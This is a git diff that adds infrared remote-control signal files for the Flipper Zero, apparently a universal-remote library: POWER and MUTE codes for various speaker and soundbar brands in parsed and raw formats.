544 567 536 565 539 562 542 559 544 567 537 564 539 562 542 559 544 568 537 564 539 562 542 559 544 568 537 564 539 562 542 559 545 567 537 564 540 561 542 559 545 566 537 564 540 561 543 558 545 567 538 563 541 560 543 569 536 565 538 563 541 560 544 568 536 565 539 562 542 559 544 568 1645 558 546 566 1646 567 537 564 540 561 1651 562 541 560 544 568 563 538 539 562 541 560 544 567 536 565 539 562 541 560 544 567 537 564 539 562 542 559 544 568 537 564 540 561 542 559 545 566 1645 558 546 566 1646 567 537 564 540 561 1651 562 541 560 544 588 +# +name: POWER +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 00 FF 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4421 4375 565 1616 560 560 533 1626 560 1621 565 554 539 556 537 1617 559 564 539 557 536 1622 564 556 537 558 535 1619 567 1614 562 558 535 1625 561 561 542 1613 563 1618 620 1560 564 1616 560 560 533 1625 561 1622 564 1622 564 555 538 556 537 558 535 559 534 1619 567 553 540 557 536 1623 563 1618 558 1622 564 556 537 557 536 558 535 559 534 562 541 554 539 555 538 556 537 1621 565 1616 560 1620 566 1614 562 1619 557 5232 4422 4363 567 1614 562 557 536 1648 538 1616 560 560 533 561 532 1622 564 558 535 561 532 1626 560 560 533 561 532 1622 564 1616 560 560 533 1653 533 563 540 1639 537 1618 568 1613 563 1617 559 561 532 1652 534 1623 563 1622 564 556 537 557 536 558 535 559 534 1645 541 553 540 556 537 1622 564 1617 559 1621 565 554 539 555 538 556 537 557 536 560 533 563 540 553 540 554 539 1645 541 1612 564 1617 559 1622 564 1618 558 +# +name: POWER +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 11 EE 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 12 ED 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8445 4206 542 1566 541 539 519 534 514 541 517 1564 543 537 521 533 515 539 519 534 514 540 518 536 512 542 516 537 521 532 516 538 520 534 514 1568 539 541 517 536 522 1560 547 533 515 1567 540 540 518 536 512 1570 547 1561 546 534 514 1568 539 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8971 4413 598 1634 595 1641 599 526 599 529 596 533 592 541 594 541 594 1646 594 525 600 1633 596 1645 595 533 592 540 595 538 597 539 596 528 597 1629 600 520 594 526 599 526 599 530 595 537 598 538 597 530 595 523 591 1639 601 524 601 527 598 1643 597 537 598 539 596 531 594 522 592 528 597 527 598 530 595 536 599 534 591 546 600 526 599 517 597 521 593 528 597 528 597 532 593 541 594 544 591 519 595 7883 598 520 594 525 600 524 590 535 600 529 596 539 596 1651 599 1639 601 515 599 522 592 531 594 532 593 538 597 536 599 538 597 528 597 518 596 525 600 523 591 534 591 537 598 533 592 546 600 527 598 518 596 523 591 531 594 531 594 536 599 534 591 545 601 526 599 517 597 521 593 529 596 530 595 536 599 532 593 542 593 532 593 522 592 526 599 522 592 535 600 532 593 540 595 541 594 533 592 524 601 519 595 528 597 529 596 535 600 534 601 537 598 527 598 1627 592 1637 592 531 594 533 592 1652 598 537 598 1652 598 1623 596 7882 599 519 595 525 600 522 592 534 591 538 597 535 590 547 599 528 597 518 596 1634 595 1639 601 525 600 530 595 539 596 541 594 532 593 523 591 529 596 527 598 528 597 533 592 541 594 542 593 532 593 525 600 522 592 531 594 533 592 538 597 535 600 537 598 527 598 518 596 522 592 530 595 1646 594 1652 598 1650 600 538 597 530 595 521 593 527 598 526 599 529 596 534 591 543 592 546 600 527 598 519 595 1636 593 1640 600 1639 601 1644 596 1651 599 539 596 514 590 +# +name: POWER +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 7E 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4459 4369 593 1562 590 487 599 1555 597 481 595 482 594 483 593 485 591 1563 599 1555 596 481 595 482 594 484 592 485 591 486 590 1565 597 479 596 481 594 1559 593 1562 590 1565 597 1557 595 482 594 484 592 485 591 1564 598 1556 596 1559 593 1561 591 1564 598 1556 596 1558 594 1561 591 1564 598 1556 595 1559 593 1561 591 1564 598 1556 596 1559 593 1561 591 486 590 1565 597 1557 595 1559 593 1562 590 488 598 478 598 479 597 5158 4453 4375 597 480 595 1558 594 484 592 1563 589 1565 597 1558 594 1560 592 485 591 487 589 1565 597 1557 594 1560 592 1562 590 1565 597 479 596 1558 594 1561 591 486 590 488 598 478 598 480 596 1558 594 1561 591 1563 599 478 598 479 596 481 595 482 594 484 592 485 591 486 600 478 598 479 597 480 595 481 595 483 593 484 592 485 591 487 589 488 598 1555 596 481 594 483 593 484 592 485 591 1564 598 1556 596 1559 593 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3472 1691 441 1285 464 1265 443 451 408 459 410 456 434 1266 462 404 434 431 459 1271 437 1317 432 410 459 1293 435 407 431 436 433 1321 428 1273 435 432 458 1270 438 1314 414 426 433 432 458 1296 412 427 463 408 441 1312 406 432 437 432 437 456 434 411 438 425 465 404 434 433 457 414 455 414 455 414 434 430 460 410 439 423 436 432 458 411 438 425 434 459 410 430 439 428 462 405 433 1317 411 427 463 430 408 432 468 439 441 406 432 1318 431 1268 440 425 454 416 463 404 434 1291 437 1284 455 443 437 1265 432 434 456 413 435 436 433 432 437 456 434 1296 432 1266 462 409 460 1265 463 1309 409 429 461 410 439 1287 441 1284 434 433 436 429 440 424 435 1317 411 1312 406 459 431 414 435 1286 463 1265 463 408 441 1280 459 1269 439 1311 407 434 435 460 430 413 435 434 435 427 463 411 438 427 442 423 436 431 438 428 441 450 409 434 435 456 434 413 456 411 437 428 431 460 409 433 436 431 438 429 440 427 442 422 437 426 433 445 435 457 412 432 437 428 441 452 407 436 464 403 456 413 466 407 441 428 441 428 462 411 437 426 464 405 433 434 435 429 440 427 442 425 434 429 440 426 433 434 435 432 437 434 456 416 432 432 458 409 440 1288 440 1283 435 1288 441 429 440 453 406 1295 433 1290 439 426 443 17056 3607 1696 457 1271 437 1291 438 429 461 411 469 407 462 1292 405 461 408 433 436 1287 462 1265 432 435 434 1289 460 411 458 409 439 1286 463 1267 441 426 433 1319 409 1314 414 455 414 453 406 1295 433 431 459 435 434 1269 460 410 459 410 439 452 438 405 433 430 439 427 463 407 441 421 438 429 440 426 433 435 455 412 436 428 462 409 460 409 440 425 434 460 409 457 412 431 438 427 432 1293 435 429 440 425 434 429 440 426 433 430 439 1284 434 1315 413 425 465 405 433 434 435 1286 463 1264 464 407 462 1266 442 425 465 405 464 409 440 425 434 458 432 1271 457 1270 438 429 461 1298 410 1318 410 454 436 410 438 1282 457 1271 437 430 439 430 439 430 460 1270 438 1288 440 426 433 463 437 1266 442 1282 457 415 433 1290 439 1282 436 1290 438 452 407 430 439 428 441 421 438 429 440 427 463 406 442 421 459 410 459 408 461 408 440 426 433 456 413 430 470 408 440 450 430 422 457 414 434 431 438 428 441 424 455 413 435 432 437 430 439 425 465 407 441 449 410 431 459 408 461 417 463 409 439 425 434 433 436 431 438 427 463 406 463 410 439 431 438 424 435 432 437 452 438 405 433 460 409 454 436 409 439 427 442 449 431 417 442 429 440 1281 437 1286 432 1291 458 413 435 432 468 1277 431 1295 464 402 457 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9026 4518 591 1706 564 1709 561 581 564 579 566 579 566 580 565 1686 595 1708 562 1709 561 1711 569 1705 565 578 567 1683 587 1690 591 1687 593 577 568 573 562 579 566 577 568 575 560 584 561 1689 591 1686 594 1682 588 579 566 576 569 574 561 582 563 581 564 582 563 558 587 583 562 579 566 575 560 583 562 581 564 580 565 1686 594 1683 587 583 562 579 566 576 569 574 561 582 563 581 564 582 563 558 587 582 563 578 567 575 560 582 563 580 565 579 566 1684 586 561 594 575 560 581 564 578 567 576 559 584 561 583 562 558 587 560 585 584 561 580 565 577 568 574 561 582 563 581 564 556 589 558 587 582 563 578 567 575 560 582 563 580 565 579 566 1684 586 561 594 576 559 582 563 578 567 576 559 584 561 583 562 558 587 560 595 574 561 1711 559 582 563 1711 559 584 561 583 562 557 588 559 586 584 561 1711 559 1713 567 1705 565 1710 560 1689 591 1686 594 552 593 1706 564 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 608 17795 3020 8937 519 502 495 1493 492 475 522 472 525 469 518 476 521 472 525 469 518 476 521 1493 492 503 494 499 498 1490 495 500 517 503 494 1493 492 1497 498 1463 521 1467 517 1470 525 470 517 503 494 500 497 497 490 504 493 501 496 497 490 504 493 528 469 498 519 474 513 481 516 505 492 501 496 498 499 468 519 502 495 499 498 468 519 502 495 499 498 496 491 503 494 499 498 496 491 530 467 500 497 496 521 500 487 480 517 503 494 473 524 1464 521 1467 517 1471 524 1491 493 2972 2993 8939 517 1523 472 495 492 502 495 499 518 502 495 499 488 506 491 503 494 472 525 1490 495 472 525 496 491 1470 525 496 491 1497 498 1517 467 1494 490 1497 518 1470 514 1474 521 473 524 470 517 503 494 473 524 470 517 504 493 474 523 497 490 504 493 501 496 498 489 504 493 528 469 525 462 504 513 508 489 478 519 501 496 498 499 468 519 475 522 498 499 495 492 475 522 471 526 495 492 502 495 499 498 495 492 502 495 526 471 522 465 529 468 499 518 475 522 499 498 2967 2998 8933 523 1464 520 474 523 470 517 477 520 474 523 497 490 504 493 501 496 498 489 1499 496 525 493 474 513 1502 493 474 523 1465 519 1468 516 478 519 1468 517 1499 496 1492 493 1522 462 1499 496 1492 493 1495 520 1468 516 478 519 474 523 471 516 1472 523 1465 519 1469 526 495 492 502 495 498 499 495 492 529 468 499 498 495 492 529 488 1473 522 1466 518 475 522 472 525 1463 522 1466 518 502 495 499 498 496 491 503 494 499 498 496 491 503 494 1494 521 1493 492 1470 525 1463 521 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 12 ED 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4384 4380 522 1611 551 1609 553 1607 555 1605 557 523 547 533 548 1612 550 530 551 529 552 528 553 527 554 526 555 1605 557 1603 549 531 550 1610 552 528 553 527 554 527 554 526 555 525 556 524 546 1613 549 1611 551 1609 553 1607 555 1605 557 1603 548 1611 551 1609 553 527 554 527 554 526 555 525 556 524 557 523 547 533 548 532 549 531 550 1609 553 527 554 1606 556 1604 547 533 548 532 549 531 550 530 551 529 552 528 553 527 554 526 555 525 556 524 557 523 547 532 549 1611 551 529 552 528 553 528 553 527 554 526 555 525 556 524 546 533 548 532 549 1611 551 1609 553 527 554 526 555 525 556 524 557 523 547 7458 4392 4345 556 1604 547 1612 550 1611 551 1609 553 527 554 526 555 1605 557 523 547 533 548 532 549 531 550 530 551 1609 553 1607 555 525 556 1604 547 532 549 532 549 531 550 530 551 529 552 528 553 1607 555 1605 557 1603 548 1611 551 1610 552 1608 554 1606 556 1604 547 533 548 532 549 532 549 531 550 530 551 529 552 528 553 527 554 526 555 1604 547 533 548 1612 550 1610 552 528 553 528 553 527 554 526 555 525 556 524 557 523 547 533 548 532 549 531 550 530 551 529 552 1607 555 525 556 525 556 524 557 523 547 533 548 532 549 531 550 530 551 529 552 1607 555 1605 557 523 547 533 548 532 549 531 550 530 551 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4414 4350 566 1579 568 504 569 1576 571 501 572 500 563 535 538 507 566 1579 568 1578 569 529 544 501 572 500 563 509 564 507 566 532 541 1578 569 503 570 1574 563 1583 564 508 565 1580 567 1579 568 1577 570 529 544 1575 572 1573 564 1582 565 1581 566 1579 568 1578 569 1576 571 1575 572 1573 564 1582 565 1581 566 1579 568 1578 569 1577 570 1575 572 1574 563 509 564 1582 565 1606 541 505 568 530 543 502 572 501 562 1609 538 5170 4410 4354 562 536 537 1608 539 507 566 1580 567 1578 569 1577 570 1575 572 527 536 510 563 1582 565 1580 567 1579 568 1577 570 1576 571 1575 572 526 537 1583 564 508 565 507 566 1579 568 504 569 503 570 528 545 1574 563 510 564 508 565 507 566 506 567 504 569 503 570 502 571 500 563 536 537 508 565 507 566 505 568 530 543 503 570 501 572 526 537 1582 565 507 566 506 567 1579 568 1577 570 1576 571 1574 573 500 563 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1347 405 1322 422 410 1332 1300 448 1289 480 383 1303 445 1298 439 1331 417 1299 438 1332 416 1302 1320 6834 1292 456 1292 450 413 1304 1328 445 1292 452 411 1302 446 1297 440 1303 445 1298 439 1303 445 1301 1321 6806 1320 453 1295 422 441 1301 1321 454 1294 422 441 1301 436 1305 443 1300 448 1295 442 1301 447 1298 1324 6802 1324 451 1297 420 443 1299 1323 424 1324 419 444 1298 439 1304 444 1298 439 1304 444 1299 438 1306 1326 6815 1321 453 1295 421 442 1302 1320 426 1322 421 442 1301 436 1306 442 1301 447 1296 441 1301 447 1299 1323 6802 1324 424 1324 418 445 1300 1322 424 1324 419 444 1298 439 1304 444 1299 438 1304 444 1299 438 1306 1326 6809 1328 420 1317 424 439 1306 1326 419 1318 424 439 1304 444 1299 438 1305 443 1299 438 1305 443 1302 1320 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 782 708 2923 2885 777 2176 748 2232 775 2152 782 736 752 2176 779 711 777 2179 776 2178 746 2181 774 744 754 737 771 720 778 713 775 716 782 737 751 740 779 712 828 717 833 657 779 713 775 2180 775 716 782 2173 772 720 778 2177 778 713 775 2180 775 716 772 2183 751 740 748 2180 775 715 835 +# +name: POWER +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 7E 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 48 12 00 00 +command: 88 08 00 00 diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir new file mode 100644 index 000000000..f99537db1 --- /dev/null +++ b/assets/resources/infrared/assets/audio.ir @@ -0,0 +1,562 @@ +Filetype: IR signals file +Version: 1 +# +# This file has all the speakers and soundbars POWER and MUTE buttons ONLY +# from https://github.com/UberGuidoZ/Flipper-IRDB +# Some Buttons were labeled PowerToggle, Pwr, or Sleep and were assumed to be POWER functions. +# +# ---------- +# | SPEAKERS | +# ---------- +# +# Audioengine A5+ +# +name: POWER +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 01 FE 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 03 FC 00 00 +# +# BOSE +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1042 1461 540 1460 541 1460 541 1460 541 1459 542 1459 542 454 536 460 540 456 544 452 538 458 542 454 546 450 540 456 544 1457 544 1456 545 1448 542 50531 1041 1462 539 1462 539 1461 540 1461 540 1460 541 1460 541 455 545 451 539 457 543 480 510 459 541 481 519 451 539 457 543 1457 543 1457 544 1449 541 50515 1037 1467 544 1456 545 1456 545 1455 546 1455 535 1465 536 486 514 483 517 479 511 485 515 481 509 487 513 483 517 478 512 1462 539 1462 539 1454 536 50537 1035 1467 544 1457 544 1457 544 1456 545 1456 544 1456 545 477 513 483 517 479 511 486 514 481 519 477 513 484 516 479 511 1464 536 1463 538 1455 546 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1010 1491 509 1490 510 1488 512 487 513 487 513 1486 514 1485 515 484 516 1483 517 482 518 482 518 1481 509 1489 511 488 512 487 513 1486 514 484 516 50963 1011 1489 511 1488 512 1487 513 485 515 486 514 1485 515 1484 516 484 516 1483 517 482 518 482 518 1481 509 1489 511 489 511 489 511 1487 513 486 514 50986 1008 1492 518 1480 510 1488 512 487 513 487 513 1486 514 1484 516 484 516 1483 517 482 518 481 519 1480 510 1488 512 487 513 487 513 1486 514 484 516 50972 1012 1488 512 1486 514 1484 516 483 517 483 517 1482 518 1480 510 489 511 1487 513 486 514 486 514 1485 515 1483 517 483 517 483 517 1481 509 490 510 50976 1008 1491 509 1489 511 1487 513 485 515 485 515 1484 516 1481 509 491 509 1489 511 488 512 488 512 1487 513 1485 515 484 516 484 516 1483 517 481 509 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1011 1479 517 477 516 481 512 1480 516 1473 513 482 511 485 518 1473 513 482 511 1481 515 1474 512 482 511 485 518 1473 513 1477 509 486 517 1473 513 50728 1014 1475 511 484 509 487 516 1475 511 1479 517 477 516 480 513 1478 508 487 516 1475 511 1479 517 478 514 480 513 1479 517 1473 513 508 484 1479 517 50725 1016 1473 513 481 512 484 519 1473 513 1477 509 485 518 478 515 1476 510 485 518 1473 513 1477 509 486 517 478 515 1476 510 1480 516 479 514 1476 510 50735 1069 1421 513 481 512 484 509 1483 513 1477 509 486 517 479 514 1477 509 486 517 1474 512 1479 507 488 515 480 513 1479 507 1483 513 482 511 1479 517 50733 1011 1478 508 513 490 506 486 1478 508 1483 513 508 485 511 482 1482 514 508 485 1480 516 1473 513 508 485 511 482 1483 513 1477 509 512 491 1473 513 50735 1008 1480 516 479 514 508 485 1480 516 1474 512 509 484 486 517 1472 514 508 485 1480 516 1474 512 509 484 512 481 1482 514 1477 509 512 491 1472 514 50738 1006 1509 487 508 485 486 507 1509 487 1503 483 513 490 505 488 1502 484 512 491 1473 513 1503 483 512 491 505 488 1476 510 1507 489 506 487 1503 483 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1010 1479 517 1474 512 509 484 512 491 505 488 507 486 510 483 512 491 505 488 508 485 1505 491 1474 512 1478 508 1483 513 1477 509 1482 514 1475 511 50713 1005 1483 513 1475 511 511 482 513 490 505 488 507 486 483 510 511 482 487 516 505 488 1501 485 1478 508 1483 513 1476 510 1479 507 1483 513 1474 512 50707 1012 1501 485 1479 506 513 490 505 488 507 486 509 484 511 482 487 516 505 488 508 485 1504 482 1482 514 1476 592 1396 590 1400 513 1476 510 1478 508 50715 1015 1473 513 1476 510 484 508 513 490 504 489 480 513 508 485 483 510 511 482 488 515 1473 513 1477 509 1480 516 1474 512 1477 591 1397 516 1472 514 +# +# Craig +# +name: POWER +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 08 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 12 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1E 00 00 00 +# +# EDIFIER +# +name: POWER +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 01 FE 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 00 FF 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 2B D4 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 78 0E 00 00 +command: 09 F6 00 00 +# +# JBL +# +name: POWER +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 1B E4 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 2A D5 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 07 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 19 E6 00 00 +# +# JVC +# +name: POWER +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 53 AC 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: AD 52 00 00 +# +# SONY +# +name: POWER +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 2F 00 00 00 +# +# STEJES +# +name: POWER +type: parsed +protocol: NECext +address: 85 23 00 00 +command: 99 66 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 23 00 00 +command: 97 68 00 00 +# +# CREATIVE +# +name: POWER +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 16 00 00 00 +# +# ----------- +# | SOUNDBARS | +# ----------- +# +# Audac +# +name: Power +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 1C E3 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 1D E2 00 00 +# +# BOSE +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 +# +name: POWER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C B3 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C B3 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 01 FD 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 +# +name: POWER +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 4C B3 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 01 FE 00 00 +# +# BRAND UNKNOWN +# +name: POWER +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 51 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 08 F7 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 0C F3 00 00 +# +# CRAIG ALREADY ADDED ABOVE +# +# KLIPSCH +# +name: POWER +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 01 00 00 00 +# +# LG +# +name: POWER +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 1F 00 00 00 +# +# ONN +# +name: POWER +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 0C F3 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 15 EA 00 00 +# +# PANASONIC +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3491 1751 415 454 425 1314 423 446 422 448 420 449 419 450 418 451 417 452 416 453 415 454 425 445 423 446 422 447 421 1317 420 449 419 451 417 452 416 453 415 454 425 444 424 445 423 1316 421 448 420 1318 419 451 417 452 416 453 415 454 425 445 423 446 422 447 421 448 420 1318 419 451 417 1321 416 1322 425 1313 424 1314 423 419 449 447 421 1290 447 450 418 1320 417 1321 416 1322 425 444 424 445 423 1288 449 74914 3491 1751 415 427 452 1314 423 446 422 447 421 448 420 449 419 450 418 451 417 452 416 453 415 454 425 445 423 446 422 1316 421 449 419 450 418 451 417 452 416 453 415 454 425 445 423 1315 422 448 420 1318 419 451 417 452 416 453 415 454 425 445 423 446 422 447 421 448 420 1318 419 451 417 1321 416 1322 415 1295 452 1286 451 446 422 447 421 1317 420 450 418 1320 417 1321 416 1295 442 454 425 445 423 1315 422 74905 3491 1752 424 445 423 1315 422 447 421 448 420 422 446 451 417 452 416 453 415 454 425 445 423 446 422 447 421 448 420 1318 419 451 417 452 416 453 415 454 425 445 423 446 422 447 421 1317 420 450 418 1293 444 452 416 454 425 444 424 446 422 447 421 448 420 449 419 450 418 1320 417 453 415 1323 424 1314 423 1315 422 1288 449 448 420 450 418 1293 444 453 415 1323 424 1313 424 1314 423 447 421 448 420 1318 419 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3486 1728 448 448 420 1318 419 423 445 451 417 452 416 454 425 444 424 445 423 446 422 447 421 448 420 421 447 449 419 1319 418 451 417 453 415 453 426 444 424 445 423 446 422 447 421 1317 420 449 419 1319 418 451 417 452 416 453 415 454 425 445 423 446 422 447 421 447 421 421 447 1291 446 423 445 425 443 1322 415 1322 425 444 424 445 423 446 422 1289 448 448 420 422 446 1292 445 451 417 452 416 1322 415 74924 3486 1755 421 447 421 1317 420 449 419 450 418 451 417 452 416 453 415 454 425 417 451 445 423 446 422 420 448 448 420 1317 420 450 418 451 417 452 416 426 442 427 452 444 424 445 423 1315 422 447 421 1317 420 449 419 450 418 451 417 425 443 453 415 454 425 444 424 418 450 446 422 1315 422 448 420 421 447 1291 446 1319 418 451 417 452 416 454 414 1323 424 445 423 419 449 1316 421 422 446 450 418 1293 444 74912 3487 1755 421 448 420 1290 447 423 445 451 417 452 416 453 415 454 425 445 423 446 422 446 422 447 421 421 447 449 419 1319 418 452 416 426 442 454 425 444 424 445 423 446 422 447 421 1290 447 449 419 1319 418 452 416 452 416 453 415 427 451 445 423 446 422 447 421 448 420 449 419 1319 418 424 444 452 416 1322 415 1323 424 444 424 445 423 446 422 1317 420 449 419 423 445 1320 417 453 415 427 452 1313 424 +# +# PHILLIPS +# +name: POWER +type: parsed +protocol: RC6 +address: 10 00 00 00 +command: 0C 00 00 00 +# +# SAMSUNG +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4530 4465 521 507 490 513 494 507 490 513 494 1509 496 1483 521 506 491 512 495 1508 486 1492 512 1492 513 1491 513 514 493 509 488 514 493 509 488 4483 513 514 493 509 488 515 492 510 487 515 492 510 487 515 492 510 487 1517 488 1491 513 1490 515 513 494 1510 494 1484 520 1483 521 1483 521 506 491 512 495 506 491 1487 517 55357 4528 4468 518 510 487 515 492 510 487 515 492 1512 493 1485 519 509 488 514 493 1510 494 1483 522 1483 521 1482 512 516 491 511 486 516 491 511 486 4484 512 516 491 511 486 516 491 511 486 516 491 511 486 516 491 511 496 1507 487 1491 513 1491 514 514 493 1510 495 1484 521 1483 522 1483 522 506 491 511 486 516 491 1513 491 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4495 4440 512 509 491 504 486 509 491 504 486 1478 513 1479 512 509 491 504 486 1478 513 1479 512 1479 512 1479 512 509 491 504 486 509 491 504 486 4452 511 511 489 506 484 511 489 506 484 511 489 506 484 511 489 506 484 1480 511 1480 511 1480 511 510 491 1500 491 1475 516 1475 516 1475 516 504 486 510 490 505 485 1479 512 55017 4497 4439 513 507 483 513 487 507 483 513 487 1476 515 1477 514 507 483 513 487 1476 515 1476 515 1477 514 1477 514 481 509 512 488 507 483 512 488 4451 512 509 491 504 486 509 491 504 486 483 517 504 486 509 492 504 486 1504 487 1504 487 1478 513 508 482 1509 482 1509 482 1509 482 1483 508 513 487 508 482 513 487 1504 487 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4501 4435 517 504 486 510 490 505 485 510 490 1475 516 1475 516 506 484 511 489 1476 515 1476 515 1476 515 1477 514 507 483 512 488 507 483 513 487 4451 511 510 490 479 511 484 516 506 484 1481 510 511 489 506 484 511 489 1476 515 1476 515 1477 514 507 483 512 488 1477 514 1477 514 1478 513 508 482 513 487 508 482 1484 517 55011 4496 4440 512 509 491 478 512 483 517 504 486 1480 511 1480 511 484 516 505 485 1480 511 1480 511 1481 510 1481 510 484 516 506 484 511 489 506 484 4455 517 504 486 509 491 504 486 483 517 1474 517 505 485 510 490 505 485 1480 511 1480 511 1481 510 511 489 480 510 1481 510 1481 510 1482 509 485 515 507 483 512 488 1477 514 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 1E 00 00 00 